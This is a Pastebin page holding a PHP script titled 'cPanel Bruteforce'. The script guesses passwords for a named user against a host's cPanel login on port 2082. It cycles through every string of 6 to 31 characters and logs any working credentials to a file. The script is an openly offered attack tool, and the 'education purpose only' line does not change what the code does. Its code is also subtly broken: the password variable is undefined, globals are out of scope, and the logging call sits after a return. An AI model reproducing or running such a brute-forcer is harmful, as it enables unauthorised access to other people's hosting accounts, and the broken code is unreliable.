Advertisement
rhiby

cPanel Bruteforce

Mar 24th, 2012
1,610
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.54 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. echo "\n___________ __ __ ";
  4. echo "\n\_ _____/__ _________ | | ____ __ _| |__ ";
  5. echo "\n | __)_\ \/ /\____ \| | / _ \| |/_ _/ ";
  6. echo "\n | \> < | |_> > |_( <_> ) | | |__ ";
  7. echo "\n/_______ /__/\_ \| __/|____/\____/|__| \____/ ";
  8. echo "\n \/ \/|__| ";
  9. echo "\nCoded by jasman@ihsana.com\n";
  10. echo "\nFor education purphose only, If you do not agree, ";
  11. echo "\nplease remove.\n";
  12. echo "\nCredit jangan dibuang mas bro\n";
  13.  
  14. function logs($reason,$ext = "txt"){
  15. if(!is_dir("files")):mkdir("files","0493");
  16. endif;
  17. $fp = fopen("files/".date("m-d-y").".".$ext, "a+");
  18. fwrite($fp, "**|cpanel|".date("g:i:sA")."|".$reason."|\n");
  19. }
  20.  
  21. function cpanel_check($host,$user,$pass,$timeout){
  22. $ch = curl_init();
  23. curl_setopt($ch, CURLOPT_URL, "http://".$host.":2082");
  24. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  25. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  26. curl_setopt($ch, CURLOPT_USERPWD, $user.":".$pass);
  27. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  28. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  29. $data = curl_exec($ch);
  30. if ( curl_errno($ch) == 28 ) {
  31. return "Request Time Out";
  32. exit;
  33. }
  34. elseif ( curl_errno($ch) == 0 ){
  35. return $user.":".$pass;
  36. logs($user.":".$pass,"txt");
  37. exit() ;
  38. }
  39. curl_close($ch);
  40. }
  41.  
  42. if(isset($_SERVER['argv'][1])){
  43. $host = $_SERVER['argv'][1];
  44. $username = $_SERVER['argv'][2];
  45.  
  46. echo "\nBrute Force";
  47. echo "\n".$_SERVER['argv'][1];
  48.  
  49. $charset = "1234567890";
  50. $charset .= "abcdefghijklmnopqrstuvwxyz";
  51. $charset .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  52. $charset .= " ~!@#$%^&*()_+|`\={}[]:;'<>,./?";
  53.  
  54. $charset_length = strlen($charset);
  55. function check($string,$host,$username){
  56.  
  57. echo "\n".$host. " => ". $string ;
  58. cpanel_check($host,$username,$password,"3600");
  59. }
  60.  
  61. function recurse ($width,$position,$base_str,$str){
  62. global $charset, $charset_length ;
  63. for ($i = 0 ; $i < $charset_length ; $i++) {
  64. if ($position < $width - 1){
  65. recurse($width,$position+1,$base_str.$charset[$i],$str);
  66. };
  67. check($base_str.$charset[$i],$host,$username);
  68. }
  69. }
  70.  
  71. for ($i = 6 ; $i < 32 ; $i++) {
  72. recurse($i,0,"",$str);
  73. }
  74.  
  75. } else {
  76. echo "\nNeed Help???";
  77. echo "\n";
  78. }
  79.  
  80. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement